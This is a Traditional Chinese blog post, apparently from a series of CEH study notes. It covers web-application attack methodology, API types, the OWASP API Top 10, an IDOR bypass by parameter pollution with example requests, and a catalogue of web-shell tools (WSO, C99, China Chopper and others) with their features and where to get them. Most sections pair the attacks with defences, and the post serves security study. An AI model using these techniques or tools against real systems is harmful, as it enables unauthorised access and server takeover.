    • 攻擊者利用應用程式中未適當實施的存取控制(如 URL 改變、方法推測),來訪問受限或隱藏的資源(如管理後台頁面)。
  7. 攻擊會話管理機制(Attack Session Management Mechanism)
    • 攻擊者試圖利用不安全的會話管理機制(如會話固定、會話劫持),盜取使用者的會話 ID 或透過不安全的 Cookie 設定來偽裝成合法使用者進行操作。
  8. 執行注入攻擊(Perform Injection Attacks)
    • 攻擊者會利用輸入驗證中的漏洞進行 SQL 注入、命令注入、LDAP 注入等攻擊,目的是直接操控資料庫或伺服器來執行未授權指令。
  9. 攻擊應用程式邏輯漏洞(Attack Application Logic Flaws)
    • 攻擊者針對應用程式流程中的邏輯缺陷來進行攻擊。例如,利用未充分檢查輸入流程來繞過驗證,或利用邏輯漏洞進行金額操控、商品價格修改等操作。
  10. 攻擊共享環境(Attack Shared Environments)
    • 在多租戶環境或共享伺服器中,攻擊者可能利用一個租戶的漏洞來影響其他租戶的資源,甚至取得主機控制權。
  11. 攻擊資料庫連接性(Attack Database Connectivity)
    • 攻擊者試圖利用資料庫連接機制中的弱點(如預設配置、連接字串暴露),來直接訪問資料庫或進行資料竊取與修改。
  12. 攻擊網頁應用程式客戶端(Attack Web App Client)
    • 攻擊者通過操控網頁內容、跨站腳本攻擊(XSS)、點擊劫持(Clickjacking)等方式來影響客戶端使用者的行為,竊取敏感資訊或引導至惡意網站。
  13. 攻擊網頁服務(Attack Web Services)
    • 攻擊者針對應用程式中的 API 或 Web Services 進行攻擊(如 SOAP、REST API),利用這些服務暴露的資訊來發起注入攻擊、驗證繞過或邏輯缺陷攻擊。

Web Services APIs 詳細介紹

  1. SOAP API
    • 簡介: SOAP(Simple Object Access Protocol)是一種基於 XML 的網頁服務通訊協定,允許不同平台之間的應用程式進行互動。SOAP API 的核心是依賴於 XML 格式來定義訊息結構,並且具有高安全性和穩定性。
    • 特點:
      • 具備嚴格的標準,支援多種通訊協定(如 HTTP、SMTP)。
      • 預設支援 WS-Security 標準,適合需要嚴格安全性控制的應用場景。
      • 支援資料加密及多種驗證機制。
      • 通常用於處理高負載、複雜邏輯的應用程式,如金融交易、銀行業務。
    • 應用場景: SOAP API 適用於需要高安全性、交易操作(如購物網站、金融機構)以及跨平台整合的場景。
  2. REST API
    • 簡介: REST(Representational State Transfer)是一種網路服務的架構風格,不是一種具體的通訊協定。REST 以統一的風格定義了如何透過 HTTP 協定來進行資源管理。
    • 特點:
      • 使用 HTTP 協定來進行資源操作(如 GET、POST、PUT、DELETE)。
      • 相對於 SOAP,REST 更加輕量級,傳輸量較小。
      • 使用 URL 標識資源,每個 URL 都對應一個具體的資源。
      • 支援多種資料格式(如 XML、JSON、HTML),但通常使用 JSON 格式來傳輸資料。
    • 應用場景: REST API 適用於網頁應用程式與後端服務之間的互動,特別是針對需要簡單快速查詢資料的場景(如社交媒體平台、電子商務)。
  3. RESTful API
    • 簡介: RESTful API 是基於 REST 架構風格所設計的 API,專門使用 REST 原則和 HTTP 通訊協定來進行設計和互動。每個 RESTful API 服務都被定義為一個資源,可以透過統一的 URL 進行訪問。
    • 特點:
      • 每個 API 請求對應一個具體資源的操作。
      • 支援 HTTP 方法來對資源進行操作(如 PUT 代表更新,DELETE 代表刪除)。
      • 與 REST API 不同的是,RESTful API 強調了統一資源標識符(URI)、無狀態通訊及多種格式的資源表示。
    • 應用場景: RESTful API 常用於 Web 應用程式的前後端資料傳輸,例如管理客戶資料、訂單管理等場景。
  4. XML-RPC
    • 簡介: XML-RPC(Remote Procedure Call)是一種使用特定 XML 格式來傳輸資料的通訊協定。XML-RPC 的主要目的是在不同平台之間進行遠端呼叫,並且可以處理不同語言的資料格式。
    • 特點:
      • 使用 XML 格式來定義通訊訊息的結構。
      • 相對於 SOAP 來說,XML-RPC 更加簡單,且具有較小的帶寬佔用。
      • 主要使用於資料傳輸、跨平台的遠端函數呼叫。
    • 應用場景: XML-RPC 適用於簡單的遠端呼叫和服務,例如資料交換、系統內部調用等場景。
  5. JSON-RPC
    • 簡介: JSON-RPC 是類似於 XML-RPC 的通訊協定,不同之處在於它使用 JSON 格式來傳遞資料。JSON-RPC 因為使用 JSON 格式,具有更好的可讀性及更輕量化的特點。
    • 特點:
      • 使用 JSON 格式來傳輸資料,簡化了資料結構。
      • 支援多個參數傳遞及資料格式驗證。
      • 相對於 XML-RPC,更容易被 Web 應用程式採用,並且在前端應用中更為普遍。
    • 應用場景: JSON-RPC 適用於前後端之間的輕量級互動,例如前端 JavaScript 調用後端 API,進行即時資料更新。

OWASP Top 10 API Security Risks 詳細介紹

  1. API1: Broken Object Level Authorization
    • 風險描述: 物件層級授權的漏洞會在伺服器端未正確跟蹤用戶會話或未限制存取的情況下,導致暴露處理物件識別符號(Object Identifiers)的端點。攻擊者可以修改這些識別符號來存取未經授權的資料。
    • 影響: 使攻擊者能夠修改物件 ID 來獲得未授權的資料存取權限,可能造成機密資料的外洩及未經授權的資料操作。
    • 防護措施:
      • 在伺服器端實作嚴格的授權檢查。
      • 每個 API 呼叫均需進行用戶身份驗證及授權。
  2. API2: Broken User Authentication
    • 風險描述: 使用者驗證機制中的漏洞可能允許攻擊者竊取驗證憑證、取得使用者身份,進行憑證填充攻擊(credential stuffing)及暴力破解攻擊(brute-forcing)。
    • 影響: 攻擊者可以冒充合法用戶進行各種操作,如竄改資料、竊取機密信息。
    • 防護措施:
      • 使用強健的驗證機制及多因子驗證。
      • 限制驗證嘗試次數並實作 CAPTCHA 驗證。
  3. API3: Excessive Data Exposure
    • 風險描述: 開發人員在設計 API 時,可能會暴露過多的物件屬性,而未考慮到這些屬性的敏感度,造成 API 傳遞過多的數據給用戶端。
    • 影響: 攻擊者可以取得比預期更多的資訊,進行進一步的攻擊分析。
    • 防護措施:
      • 僅傳遞用戶端需要的資料屬性。
      • 進行資料分級管理及數據傳遞驗證。
  4. API4: Lack of Resources and Rate Limiting
    • 風險描述: 缺乏資源及速率限制,會讓攻擊者能夠發送大量請求,消耗所有可用資源,導致服務阻斷(DoS)攻擊。
    • 影響: 系統資源被耗盡,合法用戶無法存取 API。
    • 防護措施:
      • 實作速率限制及超時設定。
      • 針對不同 API 設置獨立的資源配額及頻率限制。
  5. API5: Broken Function Level Authorization
    • 風險描述: 函數層級授權中的漏洞可能會由於缺乏嚴格的授權檢查而導致攻擊者進行未授權的操作,如訪問管理功能或用戶資料。
    • 影響: 攻擊者可以存取管理功能或其他用戶帳戶的資料,進行未授權的操作。
    • 防護措施:
      • 確保每個功能點都進行嚴格的授權檢查。
      • 採用角色及權限分離的設計。
  6. API6: Mass Assignment
    • 風險描述: API 由於未正確過濾或綁定白名單而不慎暴露內部變數或物件,攻擊者可以利用這些變數進行未經授權的修改操作。
    • 影響: 攻擊者可以修改用戶物件屬性,影響資料完整性及系統穩定性。
    • 防護措施:
      • 僅允許預期的物件屬性進行操作。
      • 使用物件屬性綁定及白名單檢查。
  7. API7: Security Misconfiguration
    • 風險描述: 安全配置不當可能導致多種攻擊,如不安全的預設配置、未更新的程式庫、暴露的儲存裝置、過度的 CORS 設定等。
    • 影響: 攻擊者可以透過不安全配置取得未預期的存取權限,進行系統入侵或數據竊取。
    • 防護措施:
      • 定期審查及更新 API 配置。
      • 使用安全配置的自動化檢查工具來避免配置錯誤。
  8. API8: Injection
    • 風險描述: 接受未經驗證的資料作為查詢的輸入可能導致 SQL、LDAP、及 XML 等注入攻擊,允許攻擊者傳入惡意指令執行。
    • 影響: 攻擊者可以直接操控資料庫、LDAP 目錄,或是進行系統指令注入,進而取得系統的完整控制權。
    • 防護措施:
      • 避免動態生成查詢,使用預編譯語句。
      • 對所有輸入資料進行驗證及過濾。
  9. API9: Improper Assets Management
    • 風險描述: 缺乏 API 層級的版本控制及過時 API 的管理,可能會讓舊版本或未更新的 API 暴露於攻擊中。
    • 影響: 攻擊者可以利用已知漏洞的舊版本 API 來進行攻擊,造成系統的安全風險。
    • 防護措施:
      • 建立 API 資產目錄,並進行定期盤點。
      • 關閉不再使用的舊版本 API,並確保所有 API 都使用最新版本。
  10. API10: Insufficient Logging and Monitoring
    • 風險描述: 缺乏足夠的日誌記錄及監控機制,無法即時偵測攻擊,並進行快速反應。
    • 影響: 攻擊者可以持續滲透系統、維持系統存取權限、並擴展至其他系統而不被察覺。
    • 防護措施:
      • 設置全面的日誌記錄策略,並實作即時監控及告警機制。
      • 定期檢查日誌以尋找潛在威脅和異常行為。

API Vulnerabilities 詳細介紹

  1. Enumerated Resources(資源枚舉)
    • 描述: 設計上的缺陷可能會導致未經授權的公開 API 暴露敏感資訊,攻擊者可以猜測用戶 ID 或推測 API 資源的名稱來進行入侵。
    • 影響: 攻擊者可以透過資源枚舉技術(Resource Enumeration)取得 API 資源的名稱或端點資訊,進而窺探或竊取用戶數據,甚至發現潛在的漏洞端點進行後續攻擊。
    • 防護措施:
      • 僅允許經過身份驗證及授權的使用者存取 API 資源。
      • 避免公開 API 資源及過度詳細的錯誤訊息回應。
  2. Sharing Resources via Unsigned URLs(透過未簽名 URL 共享資源)
    • 描述: API 可能會透過未簽名(unsigned)的 URL 傳遞資源,如圖像、音訊或影片文件,這些未簽名的 URL 易受到 Hotlinking 攻擊,導致資源被未授權的第三方使用。
    • 影響: 攻擊者可以輕易分享這些 URL,從而達到未經授權的存取,造成企業流量損失或數據洩露。
    • 防護措施:
      • 為資源 URL 加入簽名及有效期限。
      • 使用伺服器端驗證進行資源訪問控制。
  3. Vulnerabilities in Third-Party Libraries(第三方函式庫中的漏洞)
    • 描述: 開發人員在使用開源軟體庫時,可能會因忽略常規更新及安全修補,導致第三方庫中的已知漏洞被引入至 API 系統。
    • 影響: 攻擊者可以利用第三方庫中的漏洞進行攻擊,如 SQL Injection、遠端代碼執行(RCE)等,危及整個系統的安全性。
    • 防護措施:
      • 定期更新第三方函式庫,並確保所有的依賴項目均來自可靠來源。
      • 使用軟體組成分析(SCA)工具來檢查第三方函式庫中的安全問題。
  4. Improper Use of CORS(錯誤的 CORS 配置)
    • 描述: CORS 是用於跨域資源請求的機制,如果配置不當,如設定 Access-Control-Allow-Origin: *,將允許所有來源的請求,造成數據外洩或跨站點資源濫用。
    • 影響: 攻擊者可以發起跨站請求,未經授權地存取 API 資源,竊取機密數據或發動 CSRF 攻擊。
    • 防護措施:
      • 嚴格控制 CORS 設定,只允許可信來源進行請求。
      • 僅針對特定 API 資源啟用 CORS,並進行細粒度的授權控制。
  5. Code Injections(代碼注入)
    • 描述: 如果 API 的輸入未經過濾或消毒,攻擊者可以利用注入技術(如 SQL Injection 或 XSS)向系統發送惡意代碼,達到竊取資料、繞過安全驗證等目的。
    • 影響: 攻擊者可以竊取使用者憑證、進行未授權操作、竄改資料庫或透過 XSS 攻擊獲取使用者的 Cookie 資料。
    • 防護措施:
      • 使用預編譯語句或 ORM 來避免 SQL 注入攻擊。
      • 嚴格過濾及驗證所有用戶輸入資料。
  6. RBAC Privilege Escalation(基於角色的權限提升漏洞)
    • 描述: 當 API 的角色權限控制(Role-Based Access Control, RBAC)配置錯誤,或者角色變更時未正確處理,可能會導致權限提升漏洞。
    • 影響: 攻擊者可以通過權限提升,存取或修改不屬於該角色範疇的資源,進而竊取敏感資料或進行其他操作。
    • 防護措施:
      • 確保角色變更操作後的權限正確配置。
      • 為所有 API 操作點設置單獨的授權檢查機制。
  7. No ABAC Validation(缺乏 ABAC 驗證)
    • 描述: 沒有正確的基於屬性控制(Attribute-Based Access Control, ABAC),會允許攻擊者未經授權存取或操作 API 物件,如瀏覽、更新、刪除等。
    • 影響: 攻擊者可以通過操控 API 的輸入來繞過基於屬性的存取控制,取得更高權限的操作能力。
    • 防護措施:
      • 為所有 API 操作定義嚴格的 ABAC 規則。
      • 使用動態屬性驗證來強化存取控制。
  8. Business Logic Flaws(業務邏輯缺陷)
    • 描述: 業務邏輯缺陷通常是指 API 在業務流程中的操作順序、驗證步驟、或流程設計上有不符合業務規範的情況,使攻擊者得以濫用合法功能來進行惡意操作。
    • 影響: 攻擊者可以利用 API 中的業務邏輯漏洞來進行重複下單、退款騙取、或使用折扣碼等操作,造成經濟損失。
    • 防護措施:
      • 建立完善的業務邏輯設計並進行風險評估。
      • 定期進行業務流程的穿透測試及驗證。

Bypassing IDOR via Parameter Pollution

什麼是 IDOR(Insecure Direct Object Reference,非安全直接物件引用)?

IDOR 是一種常見的安全漏洞,通常發生在開發人員將內部資料引用(如資料庫鍵、目錄路徑或其他檔案引用)暴露於 URL 或 HTTP 請求中。當這些內部資料被不當顯示或被用於存取控制決策時,攻擊者可以透過修改這些引用來繞過授權控制,進而未經授權地存取資料或進行操作。

如何利用 IDOR 進行攻擊?

IDOR 漏洞主要發生在開發人員未正確驗證用戶對資料或資源的存取權限時。攻擊者可以透過修改 HTTP 請求中的參數值,操控指向不同對象的資料引用,從而訪問原本不屬於其權限範疇的資料。例如,攻擊者可以更改 URL 中的 user_id 參數值來訪問不同用戶的資料:


原始請求:
api.xyz.com/profile/user_id=321

攻擊者修改後的請求:
api.xyz.com/profile/user_id=654

在這種情況下,如果應用程式沒有驗證 user_id 參數是否屬於當前用戶,攻擊者將可以查看或修改不屬於其權限的使用者資料。

參數污染攻擊(Parameter Pollution)如何繞過 IDOR?

參數污染(Parameter Pollution)是一種進階的 IDOR 利用技術,攻擊者可以通過向 URL 中添加重複或多個相同名稱的參數來達到繞過驗證的目的。例如:


原始請求:
api.xyz.com/profile/user_id=321

攻擊者使用參數污染進行繞過的請求:
api.xyz.com/profile/user_id=654&user_id=321

在部分應用中,系統可能只會檢查參數中的第一個 user_id(654),但實際回傳的資料卻依賴第二個 user_id(321)。透過這種技術,攻擊者能夠操控參數並繞過授權檢查。

IDOR 漏洞的防禦措施

  1. 強制存取控制
    • 在每個請求中進行嚴格的授權檢查,確保用戶只能存取其有權限的資料。
    • 不僅僅依賴用戶提交的參數來進行授權決策,應該透過驗證當前用戶的身份與資料擁有權來確定其授權範圍。
  2. 使用不可預測的資料引用(Indirect Reference Maps)
    • 避免直接使用資料庫 ID、檔案名稱或路徑等敏感資料作為 URL 中的參數。
    • 取而代之,使用隨機生成的 GUID 或 Hash 值來替代直接物件引用。
  3. 參數過濾與驗證
    • 嚴格限制和過濾來自用戶端的參數。
    • 對於重複的參數進行正規化處理,避免因多個相同名稱的參數造成的意外行為。
  4. 完整性驗證(Integrity Check)
    • 在系統中實作完整性驗證機制,對所有外部輸入的資料引用進行驗證,確保其真實性與合法性。
  5. 使用 OAuth 與 API Key 進行存取控制
    • 使用 OAuth 2.0 或 API Key 的機制來確保 API 存取時的安全性,防止攻擊者未經授權的資料請求。

Web Shells

什麼是 Web Shell?

Web Shell 是一段由攻擊者開發,並使用伺服器端語言(如 PHP、ASP、PERL、RUBY 或 Python)編寫的惡意程式碼或指令碼,目的是讓攻擊者能夠在目標伺服器上執行遠端命令、進行管理操作,並取得伺服器檔案系統的控制權。Web Shell 通常被用作攻擊者在受害伺服器中建立後門(backdoor),以便於持續控制目標系統。

Web Shell 的運作原理

Web Shell 透過各種 Web 應用程式漏洞進行植入,並利用伺服器上已存在的權限來執行系統命令或進行檔案操作。攻擊者通常利用以下常見的 Web 漏洞來注入 Web Shell 程式碼:

  1. 遠端檔案包含(RFI):透過將惡意的遠端檔案載入至伺服器中,並執行其中的程式碼。
  2. 本地檔案包含(LFI):利用本地檔案包含漏洞,在系統中載入並執行惡意的本地檔案。
  3. 管理介面暴露:攻擊者透過未受保護的管理介面,進行未經授權的管理操作,如上傳惡意檔案。
  4. SQL 注入:利用 SQL 注入漏洞,透過數據庫查詢注入 Shell 程式碼。
  5. 檔案上傳漏洞:攻擊者透過未受限制的檔案上傳機制,直接上傳惡意的 Web Shell 程式碼至伺服器。

Web Shell 的危害

一旦 Web Shell 被植入至伺服器上,攻擊者可以進行以下操作:

  • 遠端命令執行:直接在伺服器上執行命令,如創建、刪除、修改伺服器上的檔案。
  • 文件管理:查看、下載、刪除或更改伺服器上的檔案,甚至可上傳或下載檔案。
  • 資料竊取與滲透:竊取敏感資料(如使用者帳號、密碼等)或取得系統設置檔案(如 .htaccess.config),進一步發動滲透攻擊。
  • 橫向移動:利用已獲取的存取權限,進行網路橫向移動以感染其他伺服器或系統資源。
  • 持續性存取:由於 Web Shell 能夠隱匿在伺服器文件系統中,因此攻擊者可以在日後任何時間重新取得系統存取權限。

Web Shell 的檢測與防禦

  1. 強化伺服器端安全配置
    • 禁用不必要的伺服器端語言與模組,如禁用 PHP 的 system()exec()eval() 等功能,防止指令執行。
    • 檢查並限制檔案上傳的類型與大小,僅允許上傳特定副檔名的檔案,如圖片、PDF 等。
  2. 使用安全工具進行檢測與掃描
    • 使用專門的安全檢測工具(如 ClamAV、OSSEC 或 Maltrail)來掃描 Web Shell 的存在,檢測所有上傳至伺服器的檔案並確保其安全性。
    • 配置 WAF(Web Application Firewall)來過濾可疑的 HTTP 請求,如攜帶可疑命令或 Shell 關鍵字的請求。
  3. 加強權限管理與存取控制
    • 將 Web 應用程式的執行權限設定為最低權限(Least Privilege),確保即使攻擊者取得權限,也無法對系統進行重要變更。
    • 定期檢查並更新所有系統、應用與資料庫的權限設置,確保無未經授權的使用者或過高權限的帳號存在。
  4. 日誌分析與行為監控
    • 定期檢查伺服器日誌(如 Apache、Nginx 日誌),找出異常的訪問行為(如大量 404 錯誤、非常規時間的登入操作)。
    • 使用行為分析工具(如 Splunk、ELK)來監控伺服器操作行為,檢測是否有異常命令被執行或可疑資料被存取。
  5. 設置入侵防禦系統(IPS)與防火牆規則
    • 配置 IPS 來偵測可疑的入侵行為(如指令注入、遠端檔案包含),並立即攔截與阻止。
    • 使用防火牆過濾來自不可信 IP 地址的流量,防止未經授權的訪問。

Web Shell 工具介紹

Web Shell 工具是一種常被攻擊者使用來取得目標伺服器遠端控制權限的工具。這類工具通常由 Web 程式語言(如 PHP、ASP、Python 等)編寫,並具備檔案管理、命令執行、權限提升等功能,能協助攻擊者更有效地對目標系統進行滲透和控制。以下為幾種常見的 Web Shell 工具介紹:

1. WSO PHP Webshell

WSO(Web Shell by Orb)是一個基於 PHP 語言的 Web Shell 工具。它具備簡潔的介面與豐富的功能,支援檔案管理、系統命令執行、上傳/下載檔案、檔案瀏覽與修改等操作。攻擊者可以透過這個工具監控目標系統中的進程、修改權限或上傳其他惡意程式碼。

  • 主要功能
    • 檔案管理(新增、刪除、編輯、下載)
    • 執行系統命令
    • 瀏覽伺服器上的其他資料夾與檔案
    • 使用特定功能(如編碼轉換、權限修改)來隱匿自身行為
    • 支援用戶帳號管理和權限提升操作
  • 工具下載
    可從 WSO GitHub 取得或從攻擊者論壇中下載。

2. b374k Shell

b374k 是一個輕量級的 PHP Web Shell,它同樣具備豐富的檔案管理與命令執行功能,界面簡單直觀。b374k 通常被用來作為遠端管理工具,用於上傳/下載檔案、修改配置檔案等操作,且支援多種插件擴展功能。

  • 主要功能
    • 內建命令執行器,支援多種系統指令
    • 檔案管理與修改
    • 數據庫操作(MySQL、SQLite)
    • 具備簡單的流量隱匿與加密功能
    • 支援多種語言與插件擴展(如數據庫管理、SSH 控制)
  • 工具下載
    可從 b374k Shell GitHub 獲取。

3. C99 Web Shell

C99 Web Shell 是一個功能強大的 PHP Web Shell,它提供了圖形化介面,方便攻擊者進行操作。C99 常被用於在滲透測試中實現後門控制、命令執行、資料下載、上傳與管理等功能,並且支援強大的隱匿與防禦機制。

  • 主要功能
    • 強大的檔案管理系統
    • 支援 SSH、FTP 的遠端管理
    • 檔案上傳、下載與加密存取
    • 多種系統命令執行支援與權限提升操作
    • 可透過 Web Shell 執行 MySQL 查詢
  • 工具下載
    攻擊者可透過多個駭客論壇或 GitHub 專案中取得 C99 Web Shell。

4. China Chopper

China Chopper 是一個非常流行且小型的 Web Shell 工具,它的大小僅幾 KB,但功能強大。China Chopper 的特點是其命令行介面簡潔,且支援多種遠端執行命令操作,如檔案上傳、下載、執行命令與檔案操作等。

  • 主要功能
    • 支援遠端指令執行與命令行操作
    • 可透過 Web Shell 瀏覽檔案並進行操作
    • 可作為後門工具進行橫向移動和持久性控制
    • 具備隱匿功能,可避免被簡單的防禦系統或防毒軟體檢測到
  • 工具下載
    可透過 ATT&CK 頁面了解 China Chopper 的詳細介紹及使用方式。

5. R57 Shell

R57 是一款經典的 PHP Web Shell 工具,與 C99 類似,它提供了圖形化介面來執行伺服器上的操作。該工具支援命令執行、檔案管理與數據庫查詢等功能,是早期 Web Shell 工具中最具代表性的版本之一。

  • 主要功能
    • 檔案上傳、下載與管理
    • 命令執行與查詢資料庫
    • 使用者管理與權限調整
    • 支援自定義指令與批量命令執行
  • 工具下載
    攻擊者可以透過多種攻擊者論壇與 GitHub 中取得 R57 Shell。

6. Caterpillar WebShell

Caterpillar WebShell 是一款基於 ASP.NET 的 Web Shell 工具,主要用於 Windows 環境中進行滲透測試與權限提升。它提供了圖形化介面與系統命令執行功能,攻擊者可以利用它來進行檔案操作與資料庫管理。

  • 主要功能
    • 檔案上傳、下載與修改
    • 系統指令執行與權限提升
    • 支援 SQL 查詢與資料庫管理
  • 工具下載
    攻擊者可以從 MITRE ATT&CK 了解 Caterpillar 的詳細資料與操作方法。

四種 Web 應用程式安全測試方法,分別針對不同的測試需求與目標。以下是每一種測試方法的詳細介紹:

  1. 手動 Web 應用程式安全測試 (Manual Web App Security Testing)
    • 這是透過手動設計的數據、自訂程式碼和一些瀏覽器擴展工具來檢測應用程式的漏洞和弱點。安全專業人員會依賴自身經驗進行系統檢測,以確認應用程式中潛在的安全問題。
    • 使用工具:SecApps、Selenium、Apache JMeter等工具可輔助進行手動測試。
  2. 自動化 Web 應用程式安全測試 (Automated Web App Security Testing)
    • 自動化測試則是將測試流程自動化,並集成到開發過程的各個階段,持續提供回饋。這種方法能有效減少人為錯誤,並加快測試進度。
    • 使用工具:Ranorex Studio、TestComplete、Leapwork等自動化測試工具。
  3. 靜態應用程式安全測試 (SAST, Static Application Security Testing)
    • 靜態應用程式安全測試是一種“白箱測試”方法,測試人員已經充分了解系統架構(包括其原始碼)並進行詳細的安全檢查。這種方法可深入檢查應用程式的原始碼及其潛在的安全風險。
    • 使用工具:Codacy、Appknox、AttackFlow等工具幫助進行原始碼分析。
  4. 動態應用程式安全測試 (DAST, Dynamic Application Security Testing)
    • 動態應用程式安全測試則是“黑箱測試”,針對應用程式在運行時的情況進行安全測試,著重於界面、請求與回應、會話、腳本、驗證過程及代碼注入等方面的問題。
    • 使用工具:Invicti、Acunetix Vulnerability Scanner、HCL AppScan等工具可執行動態測試。


上一篇
第28天:CEH第十四章入侵Web應用程式
下一篇
第30天:CEH第十五章SQL注入
系列文
腳本小子的滲透測試學習筆記30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言